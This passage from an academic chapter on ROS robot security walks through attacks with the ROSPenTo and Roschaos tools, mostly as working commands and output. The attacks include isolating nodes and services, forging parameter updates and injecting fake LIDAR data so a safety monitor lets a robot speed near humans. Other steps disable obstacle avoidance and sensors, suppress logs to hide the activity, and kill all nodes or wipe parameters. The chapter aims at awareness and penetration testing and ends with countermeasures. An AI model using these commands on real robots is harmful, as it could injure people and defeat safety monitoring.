12 Service 0.3: /rqt_gui_py_node_16990/get_loggers

13 Service 0.4: /rqt_gui_py_node_16990/

→֒ set_logger_level

Listing 1.7 System analysis of target system (nodes and services)

For the attacking system, we get the following output.

1 System 1: http ://127.0.0.1:11312/
2 Nodes:
3 Node 1.0: /rosout (XmlRpcUri: http

→֒ ://127.0.0.1:45506/)
4 Services:
5 Service 1.1: /rosout/get_loggers
6 Service 1.0: /rosout/set_logger_level

Listing 1.8 System analysis of attacking system (nodes and services)

To test the service in system 0, we run a service call from the command line

$ export ROS_MASTER_URI=http ://127.0.0.1:11311
$ rosservice call /add_two_ints 3 5
sum: 8

Now we use ROSPenTo to run the service isolation attack on /add_two_ints.

>> 14

1 Which service do you want to isolate?
2 Please enter number of service (e.g.: 0.0):

>> 0.2

1 Optional: Register service to other system

2 Type Ctrl+c to skip this option , type in system number

→֒ otherwise

3 Please enter number of analysed system:

>> 1

Now, let’s try to call the service in system 0 again.

$ export ROS_MASTER_URI=http ://127.0.0.1:11311
$ rosservice call /add_two_ints 3 5
ERROR: Service [/ add_two_ints] is not available.

As we can see, the service is not available in the target system anymore. However,
if we call the service in our attacking system we get the expected result.

$ export ROS_MASTER_URI=http ://127.0.0.1:11312
$ rosservice call /add_two_ints 3 5
sum: 8
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The node providing the service is still part of the target network, which means
that it is still shown in the rqt graph after the attack.

Note, that in contrast to the rqt graph, the response on a getSystemState call to the
ROS master in the target system changes, as we can analyse it with ROSPenTo.

1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.0: /add_two_ints_server (XmlRpcUri: http

→֒ ://127.0.0.1:41144/)

4 Node 0.2: /rosout (XmlRpcUri: http

→֒ ://127.0.0.1:35249/)

5 Node 0.1: /rqt_gui_py_node_16990 (XmlRpcUri:

→֒ http ://127.0.0.1:35176/)

6 Services:

7 Service 0.0: /add_two_ints_server /get_loggers

8 Service 0.1: /add_two_ints_server /

→֒ set_logger_level

9 Service 0.4: /rosout/get_loggers

10 Service 0.5: /rosout/set_logger_level

11 Service 0.2: /rqt_gui_py_node_16990/get_loggers

12 Service 0.3: /rqt_gui_py_node_16990/

→֒ set_logger_level

4.1.8 Sending Malicious Parameter Updates

Now we want to demonstrate how to run a malicious parameter attack with
ROSPenTo. After starting a master, we run a publisher node, which is subscrib-
ing to a string parameter from the parameter server, in order to publish it on the ROS
network. Before we can start the node, we set the parameter on the parameter server
via the command line.

$ rosparam set awesome_parameter "awesome"

Then we start the publisher, which then publishes the value of our parameter

$ rosrun arbitrary_package awesome_publisher
[ INFO] [1530196484.388349773]: awesome

Now, we analyse the ROS network and get the following output for nodes and
parameters

1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.0: /awesome_publisher (XmlRpcUri: http

→֒ ://127.0.0.1:38253/)

4 Node 0.1: /rosout (XmlRpcUri: http

→֒ ://127.0.0.1:35249/)

5 Parameters:

6 Parameter 0.0:

7 Name: /roslaunch/uris/host_127_0_0_1__44124

8 Parameter 0.1:
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9 Name: /rosdistro

10 Parameter 0.2:

11 Name: /awesome_parameter

12 Parameter 0.3:

13 Name: /rosversion

14 Parameter 0.4:

15 Name: /run_id

Next, we analyse types and values of the parameters

>> 10

1 Parameter values and types analyzed

2 Parameter 0.0:

3 Name: /roslaunch/uris/host_127_0_0_1__44124

4 Type: System.String

5 Value: http ://127.0.0.1:44124/

6 Parameter 0.1:

7 Name: /rosdistro

8 Type: System.String

9 Value: kinetic

10 Parameter 0.2:

11 Name: /awesome_parameter

12 Type: System.String

13 Value: awesome

14 Parameter 0.3:

15 Name: /rosversion

16 Type: System.String

17 Value: 1.12.12

18 Parameter 0.4:

19 Name: /run_id

20 Type: System.String

21 Value: 67f30c4c -7aab -11e8 -ae76 -c47d461e4b7c

To get full control over the cached parameter value stored on the awesome_

publisher node, we unsubscribe the node from parameter updates.

>> 15

1 Please enter number of node (e.g.: 0.0):

>> 0.0

1 Please enter number of parameter (e.g.: 0.0):

>> 0.2

1 Node 0.0 successfully unsubscribed from Parameter 0.2

Finally, we send our own parameter update to the node

>> 16

1 Please enter number of node (e.g.: 0.0):
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>> 0.0

1 Please enter number of parameter (e.g.: 0.0):

>> 0.2

1 Please enter value for paramUpdate

>> even more awesome

1 Parameter update for Parameter 0.2 at Node 0.0 sent

Now we can see, that the output of our publisher changed

[ INFO] [1530196484.388349773]: even more awesome

On the other hand, if we call rosparam get via the command line or analyse the
system again with our tool, we recognize that the value of the parameter stored on
the parameter server is still awesome.

$ rosparam get awesome_parameter
awesome

4.2 Performing a Real Attack

Now that we have mastered the basics of using ROSPenTo for analyzing and manip-
ulating the communications within a ROS application network, let’s see how this can
be used by a potential attacker in a real application.

4.2.1 Application Setup

The application, which we will penetrate, is used to provide safety to humans in the
vicinity of a robot. A LIDAR laser-scanner is used to determine if a human is close
to a robot. If so, the speed of the robot is reduced or the robot is stopped to ensure
that no harmful forces are exerted in case the robot touches the human. Setups like
these can be found in many applications, very often used as proximity sensors for
mobile robots.

Our application setup consists of the following hardware elements and ROS nodes:

– An OMRON OS32c safety LIDAR with the associated ROS driver 11

– A ROS-operated robot arm (like a KUKA iiwa with the iiwa stack12 or a Universal
Robot with the UR modern driver,13 …)

– A safety_monitor ROS node

11http://wiki.ros.org/omron_os32c_driver.
12https://github.com/IFL-CAMP/iiwa_stack.
13https://github.com/ThomasTimm/ur_modern_driver.
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First, let’s take a look at the safety_monitor node. It simply receives the laser
range data from the LIDAR and sets the speed accordingly. The following listing
shows a simplified version. Note that we abstracted which robot you are using since
it does not change the way we can attack this node afterwards.

1 import rospy
2 from sensor_msgs.msg import LaserScan
3
4 class SafetyMonitor:
5 def __init__(self):
6 rospy.init_node("safety_monitor")
7 rospy.Subscriber("/scan", LaserScan , self.

→֒ handle_laser_reading)
8 self.speed_value =0.05
9 rospy.spin()

10
11
12 def handle_laser_reading(self , msg):
13 speed_val = 0.5 # normal operating speed
14 for r in msg.ranges:
15 if r < 0.5:
16 speed_val = 0.05 # set speed to 5%
17 break

18
19 if speed_val !=self.speed_value:
20 self.speed_value=speed_val
21 else:
22 return

23
24 # Now send the new speed to your robot
25
26 if _name_ == "_main_":
27 safety_monitor_node=SafetyMonitor ()

Listing 1.9 Simplified Python implementation of the safety_monitor node

The corresponding RQT graph is shown in Fig. 8. The safety_monitor node (shown
in red) uses the/scan topic from the OMRON laser scanner as input. This gives an
array of laser range values. As robot, in our case, we have used a KUKA iiwa
with the iiwa_stack package. To change the movement speed, a service is consumed
by the safety_monitor package and thus, the RQT graph does not show outgoing
connections from this node.

4.2.2 Application Analysis

Let’s first use ROSPenTo to analyze this application. The output of the system anal-
ysis is shown below (in a simplified version reduced to the relevant information).
Here, we can also see the service server, which we use to perform the speed change
(/iiwa/configuration/pathParameters). Note, if you use another robot, this listing will
change appropriately.
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Fig. 8 The RQT graph of our safety-application

1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.5: /iiwa/iiwa_configuration (XmlRpcUri: http

→֒ ://127.0.0.1:49182/)

4 Node 0.3: /omron_os32c_node (XmlRpcUri: http

→֒ ://127.0.0.1:34393/)

5 Node 0.7: /safety_monitor (XmlRpcUri: http

→֒ ://127.0.0.1:38473/)

6 Topics:

7 Topic 0.22: /scan (Type: sensor_msgs/LaserScan)

8 Services:

9 Service 0.6: /iiwa/configuration/pathParameters

10 Service 0.4: /omron_os32c_node/get_loggers

11 Service 0.5: /omron_os32c_node/set_logger_level

12 Service 0.10: /safety_monitor/get_loggers

13 Service 0.9: /safety_monitor/set_logger_level

14 Communications:

15 Communication 0.22:

16 Publishers:

17 Node 0.3: /omron_os32c_node (XmlRpcUri

→֒ : http ://127.0.0.1:34393/)

18 Topic 0.22: /scan (Type: sensor_msgs/LaserScan

→֒ )

19 Subscribers:

20 Node 0.7: /safety_monitor (XmlRpcUri:

→֒ http ://127.0.0.1:38473/)

Listing 1.10 Analysis of the ROS application (simplified)

Looking at the network analysis, the skilled ROSPenTo user already sees several
attack vectors. First, we can simply isolate a node, which is publishing relevant data
i.e., either the LIDAR driver or the safety_monitor. This will result in no changes
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to the currently set speed. Further, we can isolate the setPathParameter service to
achieve the same result.

In order to provoke a speed change in our favor (either forcing the robot to stop
as a kind of DoS attack, or to drive at high speeds) we can also inject false data using
a stealth publisher attack.

4.2.3 Isolating a Node

As a first, simple attack, we can isolate the safety_monitor component from the
Omron node such that it does not receive any more data. We do this by using
ROSPenTo to remove the Omron node as a publisher for the/scan topic.

>> 13

1 To which subscriber do you want to send the publisherUpdate

→֒ message?

2 Please enter number of subscriber (e.g.: 0.0):

>> 0.7

1 Which topic should be affected?
2 Please enter number of topic (e.g.: 0.0):

>> 0.22

1 Which publisher(s) do you want to remove?

2 Please enter number of publisher(s) (e.g.: 0.0 ,0.1 ,...):

>> 0.3

This will remove the Omron driver node from the list of publishers for the
safety_monitor node and thus, it will no longer receive LIDAR range data.

A cleverly written safety_monitor node however, should constantly check when
it received the last input and stop the robot if there is any irregularity in the frequency
(just like a hold-to-run button).

4.2.4 Isolating a Service

By isolating the service which regulates the speed at the robot side, we perform a
service isolation attack in ROSPenTo. After this, the safety_monitor node will not
be able to reduce the speed in case a human is detected by the LIDAR.

>> 14

1 Which service do you want to isolate?
2 Please enter number of service (e.g.: 0.0):

>> 0.6
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1 Optional: Register service to other system

2 Type Ctrl+c to skip this option , type in system number

→֒ otherwise

3 Please enter number of analysed system:

>> Ctrl+c

And by this, the service is no longer registered and cannot be found in a service
lookup.

4.2.5 Injecting False Data

Finally, if we want to inject false data into the network in order to let the safety_monitor

think that no object is approaching, we exchange the Omron driver node with a node
that we write ourselves.

As shown below, the fake node just publishes data with the maximum range. This
causes the safety_monitor to think that no obstactle is close to the robot, causing it
to move at high speed.

1 _laserScanPublisher = _nodeHandle.advertise <

→֒ sensor_msgs ::LaserScan >( _topicName , 1000);

2
3 while(ros::ok())

4 {

5 sensor_msgs :: LaserScan msg;

6 msg.header.stamp = ros::Time::now();

7 msg.header.frame_id = "laser";

8 msg.angle_min = -2.29;

9 msg.angle_max = 2.29;

10 msg.angle_increment = 0.01;

11 msg.range_min = 0.002;

12 msg.range_max = 50;

13
14 int numVal = (int)std::ceil((msg.angle_max -msg

→֒ .angle_min)/0.01);

15 for(int i=0;i<numVal;i++)

16 {

17 msg.ranges.push_back(msg.range_max);

18 }

19
20 _laserScanPublisher.publish(msg);

Listing 1.11 The fake sensor data publisher in C++

In order to be stealthy (i.e., not visible in the ROS graph), we perform the same
procedure as above by creating a separate ROS network for the attacker node and
then using ROSPenTo to reroute the traffic accordingly.

First, we start a second ROS core. Then we analyze both systems in ROSPenTo.
Third, we send a publisher update to the safety_monitor containing the URI of our
attacker node. From thereon, the robot will run at increased speed.
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5 Roschaos

This section introduces a different penetration testing tool designed for exploiting
the Master API. Where ROSPenTo is designed to make minimal use of the Master,
covertly opting for the Slave API to perform targeted isolation attacks, Roschaos
instead seeks to exploit the centralized discovery and broader subsystem APIs at
scale in less subtle but more disruptive manners.

As demonstrated with RosPenTo, numerous subtle and silent attacks may be
mounted without necessarily divulging such activities to the ROS Master. However,
more conspicuous attacks that exploit the Master directly, and so are far more blatant
or detectable, may still remain compelling for adversaries and formidable threats
to ROS systems for at least two reasons. First, it is unlikely that most current ROS
users continuously monitor all Master event logs for suspicious activities during
runtime. Moreover, these logs hold little authenticity given there is no authentication
for the Master API and identities can be falsified. Second, while such attacks may
be short lived due to their traceability, they can remain immediately and irreversibly
catastrophic for cyber physical systems.

5.1 Roschaos Basics

Roschaos14 provides a simple CLI bundled as a native ROS package and is written
to demonstrate how an unmodified ROS client library can be used for attacks. First
we review how basic ROS CLI tools like rostopic, rosnode can be used maliciously;
a brief list of potentially malicious examples of native CLIs are exhibited here:

# Relay topic data without added custom code

$ rostopic echo /foo | rostopic pub /bar std_msgs/String

# Replay filtered data without post -processing bag files

$ rostopic echo --filter "m.data==’foo ’" /bar > spam.bagy

$ rostopic pub -f spam.bagy /spam std_msgs/String

# Terminate all ROS processes without needed POSIX privilege

$ rosnode kill --all

# Recursively wipe all key/values from parameter server

$ rosparam delete /

As shown above, it remains a trivial task to relay and replay topic traffic without
necessarily executing custom code, nor is remote shell access required to termi-
nate node processes or delete global parameters. Roschaos extends these underlying
libraries, e.g. rosgraph, to manipulate the topology and internal state of the compu-
tational graph. Roschaos subcommands are divided into three main categories that
reflect the partitioning of the subsystem APIs.

14https://github.com/ruffsl/roschaos.
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5.1.1 Master

This subcommand currently exposes the unregister interface for topics and services,
as well entire sets either attributed to particular nodes. Regular expression may be
passed to each methods to filter which resource the unregistration should target.

The following command unregisters all topic publishers and subscribers of stan-
dard message types under top level topic namespace/foo:

roschaos master unregister topic --topic_name ‘‘\/foo.*’’ --

→֒ topic_type ‘‘std_msgs \/.*’’ --subscribers --publishers

Services servers may similarly be unregistered by providing an expression for
the service namespace. The following command unregister all services that enable
dynamically updating the logger level for all nodes:

roschaos master unregister service --service_name ‘‘.*\/

→֒ set_logger_level ’’

Finally, we can unregister entire nodes, filtering either by the nodes own names-
pace, host machine address, or a combination of both. The first command unregisters
intersection of nodes under a namespace containing the substring ‘movit’ or ‘openni’
executing on the third cluster in the PR2 platform. The second command invokes the
swift nuclear option to unregisters everyone from everything.

roschaos master unregister node --node_name ‘‘(.*moveit .*) |(.*

→֒ openni .*) ’’ --node_uri ‘‘pr2_pc3 ’’ roschaos master

→֒ unregister node --all

5.1.2 Slave

This subcommand currently exposes several interfaces of the Slave API for ascer-
taining and controlling internal node state and life cycle. Again, regular expression
may be passed to narrow the control of the scope of nodes to afflict.

For peculiar cases when the master URI for a participating node is unknown,
or when multiple masters may coexist on the same machine, the following com-
mand may be used to inquire into a remote node’s Slave API and update the local
‘ROS_MASTER_URI’ environment variable accordingly:

roschaos slave backtrace master --uri http :// slave_uri_here

→֒ :1234

The logger level for each logger inside a node may be externally adjusted at
runtime and determines the verbosity of logs events both written to log files on disk
and published on the/rosout debug topic. The following command squelches the
majority xmlrpc server events from movit related nodes being reported:

roschaos slave service logger --node_name ‘‘\/moveit.*’’ --

→֒ logger_name ‘‘ros\. xmlrpc.*’’ --logger_level ‘‘Fatal ’’
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The following command provides much the same purpose as rosnode kill, but
similar filtering functionality as with other subcommands in defined expression for
node and machine filtering:

roschaos slave shutdown node --node_name ‘‘.*safety.*’’ --

→֒ node_uri ‘ ‘ ’ ’127\.0\.0\..*

5.1.3 Param

This subcommand currently exposes server interfaces of the Parameter API, using
regular expressions to direct given requests. The following unsubscribes all nodes
from receiving update events for any of the movebase footprint related parameters:

roschaos param server unsubscribe --node_name ‘‘.*’’ --node_uri

‘‘turtlebot \.local.*’’ --param_key ‘‘\/movebase.*’’footprint

5.2 Roschaos Examples

In this section we present a set of attack scenarios leveraging Roschaos and native
ROS CLIs to demonstrate the execution and effects of malicious actions against
subsystem APIs. To provide a repeatable and reproducible ROS deployment scenario,
we make use of the classic turtlebot simulation demos to serve as the targeted system.
Begin by starting the following launch files to bootstrap the entire application setup:

# From separate terminals launch each turtlebot component

$ roslaunch turtlebot_gazebo turtlebot_world .launch

$ roslaunch turtlebot_gazebo amcl_demo.launch

$ roslaunch turtlebot_rviz_launchers view_navigation .launch

$ roslaunch turtlebot_teleop keyboard_teleop .launch

You should then observes a gazebo and an rviz windows with a turtlebot posed
and localized within the simulated environment, with an additional shell terminal
capturing/forwarding keyboard teleop commands to the mobile robot when made
in focus of the desktop window manager. Note that running teleop suppress goal
navigation.

5.2.1 Exploiting the CmdVelMux Nodelet

Many robot platforms may operating with coexisting controllers, and thus must
arbitrate access using some scheme of priority to avoid the ambiguity of multiple
simultaneous command signals being forwarded to hardware actuators. One such
package used by the community is the CmdVelMux Nodelet that can be configured
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to relegate designated topics with associated priority levels through a simple chain of
suppression hierarchy. In this case, teleop commands can be spoofed to indefinitely
halt the movebase planner until it times out.

Using rviz’s navigate to point tool, click on somewhere on the map to initiate the
movebase planner to navigate to a given goal. Then use rospub, execute the following
command and attempt to repeat the same goal navigation with rviz for another point.

# Repeatedly publish zero velocity command at 10 hz

$ rostopic pub /cmd_vel_mux/input/teleop geometry_msgs /Twist

→֒ -r 10 "linear:

x: 0.0

y: 0.0

z: 0.0

angular:

x: 0.0

y: 0.0

z: 0.0"

The CmdVelMux is also sometimes used as an safety override, where say a human
operator may overtake control if necessary, thus the reason for the exhibited behavior
above. However using roschaos, we can just as easily register teleop publishers to
temporarily isolate the CmdVelMux until new publishers register on the network, or
until the CmdVelMux nodelet itself is restarted by unregistering it as a subscriber.
The both of which are achieved using the following command:

# Unregistered both topic publishers and subscribers

$ roschaos master unregister topic --topic_name "\/

→֒ cmd_vel_mux \/ input\/ teleop" --publishers --subscribers

By now, the keyboard teleop CLI should no longer function and itself indicate no
issue, yet you will need to restart both nodes to rectify the absent registrations with
the master.

5.2.2 Exploiting Movebase

Many nodes expose internal parameters to be dynamically reconfigurable. Movebase
uses this extensively to allow user to tune navigation settings on the fly. However,
malicious users can just as well use these interfaces to disable safety mechanics and
delay responsive measures.

The following set of commands disable the number of basic navigation layers
used in planning around static and dynamic obstacles, thus rendering the platform
vulnerable to collisions. The the same interface used to alter the parameters is also
closed afterwards to hamper repair. Lastly, any environmental fail-safes such as
monitoring sensors can also be removed from the graph.
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# Disable movebase navigation layers

$ for i in global_costmap local_costmap; do for j in

→֒ inflation_layer obstacle_layer static_layer; do rosrun

→֒ dynamic_reconfigure dynparam set /move_base/${i}/${j} "

→֒ {’enabled ’:false}"; done; done

# Cutoff dynamic reconfigure to prevent imadate re -enabling

$ roschaos master unregister topic --topic_name "\/ move_base

→֒ .* parameter_updates " --publishers --subscribers

# Cutoff bump and cliff sensors that do not require heartbeat

→֒ signals

$ roschaos master unregister topic --topic_name ".*( cliff|

→֒ bump).*" --publishers

It should now be possible to guide the robot into collisions directly by setting
goal point inside obstacles. Given collision detection is also composed, the robot
should now unhesitatingly push movable objects in the simulation, where recovery
bump behaviors would have previously been invoked. Additionally, this can no longer
be reversed using tools such as rqt’s dynamic reconfigure plugin, as the published
parameter updates no longer notify the necessary move_base node.

5.2.3 Exploiting Roslog

For most logging and monitoring purposes, roslog is used to record and disseminate
log events during runtime. This pertains to configuring the logging levels or verbosity
of internal log handlers in each node process, writing the events to disk within
the logfile directory, as well as aggregating them over unified topics for remote
diagnostics. However, given the control of these reporting mechanisms are also made
available through the same unregulated APIs they monitor, they can just as well be
subverted to redact and obscure suspicious activity in the graph.

If an attacker where to disrupt an environmental sensor, such as the laser scan-
ner, consecutive nodes further down the data pipeline may inevitably remark upon
abnormalities such as delayed sensor data or expired transformations. Such are
the errors and warnings AMCL will produce upon the abrupt termination of laser-
scan_nodelet_manager, casing all further/scan topic data. The following commands
attempt to mitigate such reporting before evasive termination:

# Subdue self reporting to minimize event written to disk

$ roschaos slave service logger --node_name ".*[ amcl|

→֒ movebase|laserscan_nodelet_manager ].*" --logger_name

→֒ ".*" --logger_level "Fatal"

# Shut the door behind us to avoid changes

$ roschaos master unregister service --service_name ".*[ amcl

→֒ |movebase|laserscan_nodelet_manager ].*\/

→֒ set_logger_level"

# Optional , but alarm rasing

$ roschaos master unregister topic -topic_name "\/ rosout" --

→֒ publishers

# Lastly , terminate the scan publisher to crippel navigation

$ roschaos slave shutdown node --node_name "\/ laserscan .*âŁž
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One could additionally unregister all rosout publishers, however the sudden drop
in log traffic would be a clear tip off to issues abound. Additionally, being more
selective in the logger name expression used could help the change in traffic from
being too conspicuous, yet this would require further in depth knowledge of the target
system and anticipated logging outcomes.

6 Conclusion

In this chapter, we have presented how ROS can be manipulated very easily over
the XML-RPC API. We have presented two tools, ROSPenTo and Roschaos, and
showed how they can be used to analyze and manipulate ROS applications.

We hope to have raised some awareness of how important security in ROS is and
to have encouraged our readers to engage in penetration testing of their applications.

We close with two further notes on the practicability of the attacks shown here
and on possible countermeasures.

6.1 On the Practicability of Attacks on ROS

In this chapter, we have shown how ROS applications can be manipulated. Inten-
tionally though, we have left some blanks. To inject data for example into the stealth
publisher attack, it is necessary to have the message definition before injecting data.
In our example, we simply implemented an attacker node using the message def-
inition of the original application. An attacker typically would not have access to
this kind of information when analyzing an unknown application. While there are
ways to reverse-engineer the message definition at run-time, we have refrained from
describing this here.

To run a malicious parameter attack on a ROS node an attacker needs to know
which parameters the node is subscribed to. In contrast to topic subscriptions, nei-
ther the parameter API nor the slave API provide a XML-RPC method to request
information about the current parameter subscriptions. Additionally, unlike stated in
the API definitions, the response on a paramUpdate or a unsubscribeParam
can’t be used as well. This is caused by the implementation of the APIs, where the
generated response stays the same independent of the method result. Further parame-
ter subscriptions can’t be triggered remotely as well. Hence, the attacker either needs
to know how the node is implemented or has to analyze the network traffic between
the targeted node and the parameter server to detect a subscribeParam call. If
no such call occurs, the attacker can not run this kind of attack.
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6.2 Countermeasures

Despite the flaws in the ROS API design that enable most of the attacks described
here, there are ways to counter attacks.

First, the roswtf 15 tool is a useful helper. It performs a ROS graph analysis and
detects attack patterns of ROSPenTo (although it does not identify them as such). If
a listener is isolated from its publishers, roswtf will print a message similar to

1 ERROR The following nodes should be connected but aren ’t:

2 * /talker_5031_1531308319488 ->/listener (/ chatter)

If we add a fake publisher, that is not known to the ROS master (i.e., runs in
another ROS network), roswtf will at least produce a warning:

1 WARNING The following nodes are unexpectedly connected:

2 * unknown (http ://127.0.0.1:37733/) ->/listener (/ chatter)

3 * unknown (http ://127.0.0.1:41333/) ->/listener (/ chatter)

Second, several approaches to increasing security in ROS have been proposed.
Among those are SROS [21], application-layer approaches [6] as well as secure
versions of the ROS core itself (such as http://secure-ros.csl.sri.com/ or [2]).

Third, ROS2,16 which has recently been released, is not susceptible to most
approaches shown in this chapter. The underlying DDS communication technol-
ogy [13] uses a different technique for discovery and works without a master (which
is one of the main attack points for ROSPenTo and Roschaos). In addition, it supports
security enhancements in the communication channels themselves [14]. Those secu-
rity enhancements are made available to ROS2 via the SROS2 project.17 An initial
performance evaluation of security in ROS2 has been presented in [9].
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